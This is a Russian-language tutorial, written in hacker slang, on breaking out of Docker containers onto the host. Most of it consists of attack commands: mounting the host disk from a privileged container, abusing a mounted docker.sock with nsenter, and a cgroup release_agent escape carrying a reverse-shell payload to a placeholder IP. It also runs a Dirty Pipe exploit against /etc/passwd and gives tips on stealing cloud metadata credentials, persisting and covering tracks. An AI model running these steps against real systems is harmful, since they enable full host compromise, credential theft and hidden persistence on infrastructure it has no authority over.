Контейнерный побег: как из Docker-контейнера пролезть в ядро хоста
Здорово, брат. Снова перед нами стена. Только на этот раз она цифровая — стенки Docker-контейнера. Админы думают, что заперли нас в коробке. Они думают, что cgroups и namespaces — это панацея. Ну что ж, давай покажем им, как мы умеем ломать песочницы. Тема сегодняшнего разбора — Контейнерный побег. Цель — прогрызть дыру до самого ядра хоста. Погнали.
Шаг 1: Осмотр на месте. Что у нас в «камере»?
Первое правило пентестера в незнакомой среде — оглядись. Не надо сразу палить из всех орудий. Тихо, методично, как снайпер. Нам нужно понять, где мы и с какими правами.
- Проверка привилегий. Самый главный вопрос: не запустили ли нас с флагом
--privileged
? Это как дать заключенному ключи от всех дверей.
1 |
capsh --print |
Если в выводе видишь full_effective_cap_set
или кучу разрешенных capabilities
, особенно cap_sys_admin
, — это джекпот. Считай, полдела сделано.
- Монтированные тома. Админы любят пробрасывать в контейнер куски хостовой файловой системы. Самый жирный кусок — это
docker.sock
.
1 |
ls -la /var/run/docker.sock |
Если этот файл есть и у нас есть права на запись — это второй джекпот. Мы можем управлять Docker-демоном хоста прямо из нашего контейнера.
- Версия ядра. Это наш билет в мир эксплойтов. Уязвимости в ядре — классика жанра. Они бьют мимо всех защит контейнеризации.
1 |
uname -a |
- Копируем вывод.
Linux ctf-box 5.4.0-109-generic ...
— вот это нам и нужно. По этой строке будем искать CVE на GitHub и Exploit-DB.
Шаг 2: Векторы атаки. Выбираем отмычку
В зависимости от того, что мы нашли на первом шаге, выбираем стратегию.
Вектор A: Побег через --privileged
Это не взлом, это прогулка. Флаг --privileged
отключает почти все механизмы изоляции. Мы можем делать с хостом почти все, что захотим.
План атаки:
- Найти диск хоста. Обычно это что-то вроде
/dev/sda1
,/dev/vda1
или/dev/nvme0n1p1
.
1 |
fdisk -l |
2. Создать точку монтирования и примонтировать файловую систему хоста.
1 2 |
mkdir /host mount /dev/sda1 /host |
3. Сменить корневой каталог. chroot
— наш лучший друг. Мы «переезжаем» на файловую систему хоста.
1 |
chroot /host |
Поздравляю, ты root
на хосте. Можешь добавлять своего юзера, лить SSH-ключ в authorized_keys
и закрепляться. Игра окончена.
Вектор B: Удар через Docker Socket
Если нам пробросили /var/run/docker.sock
, админ, по сути, оставил ключи под ковриком. Мы можем попросить Docker-демон запустить для нас новый контейнер. Но уже с нужными нам флагами.
План атаки:
- Ставим Docker-клиент внутри нашего контейнера.
1 2 3 4 |
# Для Debian/Ubuntu apt-get update && apt-get install -y docker.io # Для Alpine apk add docker |
2. Запускаем новый, «злой» контейнер. Мы говорим демону хоста: «Эй, запусти-ка мне вот эту коробочку, но с полным доступом ко всему на хосте».
1 2 |
docker -H unix:///var/run/docker.sock run -it --rm --privileged --pid=host alpine:latest nsenter -t 1 -m -u -n -i sh |
--privileged
: Дает все права.--pid=host
: Используем PID namespace хоста.nsenter ...
: Заходим в пространства имен процесса с PID 1 на хосте (обычно этоinit
/systemd
).
Вектор C: Злоупотребление CAP_SYS_ADMIN
Это уже интереснее. У нас нет полного --privileged
, но есть одна очень жирная «способность» — CAP_SYS_ADMIN
. Она позволяет делать много грязных дел, включая монтирование устройств и манипуляции с cgroups.
План атаки (через release_agent
):
Это красивый трюк. Мы создаем cgroup, указываем в качестве release_agent
наш скрипт, а затем триггерим его выполнение. Ядро само выполнит наш код на хосте.
- Находим путь к cgroup и создаем нашу директорию:
1 2 |
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab) mkdir -p "$host_path/x" |
2. Создаем наш payload. Например, обратный шелл:
1 2 3 |
echo '#!/bin/bash' > /tmp/payload.sh echo 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1' >> /tmp/payload.sh chmod a+x /tmp/payload.sh |
3. Настраиваем cgroup:
1 2 3 |
cgroup_mount=$(find /sys/fs/cgroup -type d -name "rdma_*" | head -n 1) echo "$host_path/x/payload.sh" > "$cgroup_mount/release_agent" echo 1 > "$cgroup_mount/notify_on_release" |
4. Триггер:
1 |
sh -c "echo \$\$ > $cgroup_mount/cgroup.procs" |
Как только этот процесс завершится, ядро выполнит наш release_agent
. Слушай порт на своей машине (nc -lvnp YOUR_PORT
), и к тебе прилетит шелл от имени root
с хоста.
Вектор D: Эксплойт ядра (The Dirty Way)
Если ничего из вышеперечисленного не сработало, значит, админы попались грамотные. Но и на них есть управа — уязвимости в самом сердце системы.
- Берем версию ядра из
uname -a
. - Идем на поиски. Google-дорки в помощь:
"Linux kernel [version] privilege escalation exploit github"
, ищем наexploit-db.com
. - Пример — Dirty Pipe (CVE-2022-0847). Если ядро уязвимо (версии от 5.8 до 5.16.11, 5.15.25, 5.10.102), это наш шанс. Эксплойт позволяет перезаписывать любые файлы, доступные на чтение.
- Цель: Перезаписать
/etc/passwd
, чтобы установить пустой пароль дляroot
. Или подменить SUID-бинарник. - Действия:
- Найти и скачать PoC с GitHub (их полно).
- Скомпилировать его в контейнере (если есть
gcc
).
- Цель: Перезаписать
1 |
gcc exploit.c -o exploit |
3. Запустить.
1 |
./exploit /etc/passwd 'root::0:0:root:/root:/bin/bash' |
4. Если все прошло успешно, делаем su root
без пароля. И мы снова на коне.
Контейнеры — это не крепость. Это всего лишь стены из картона, если знать, где надавить.
Советы
- Проверь переменные окружения (
env
). Иногда там оставляют пароли, ключи API, токены. Это легкая добыча. - Поищи эндпоинт метаданных облачного провайдера. Если контейнер крутится в AWS/GCP/Azure, попробуй достучаться до
169.254.169.254
. Оттуда можно вытащить временные креды и атаковать облачную инфраструктуру. - Не забывай про
procfs
. Если/proc
хоста как-то смонтирован, можно вытащить кучу инфы о процессах, переменных окружения и даже файловых дескрипторах других процессов на хосте. - Смотри на другие контейнеры. Если получил доступ к
docker.sock
, выполниdocker ps
. Возможно, рядом крутится контейнер с базой данных или другим интересным сервисом. Пивотинг — наше все. - Если нашел точку входа — закрепляйся. Не сиди в интерактивном шелле. Прокинь нормальный reverse shell через
socat
илиmsfvenom
, добавь SSH-ключ, создай юзера. Будь как дома, но не забывай, что ты в гостях. И не наследи.

На этом все. Всем хорошего дня!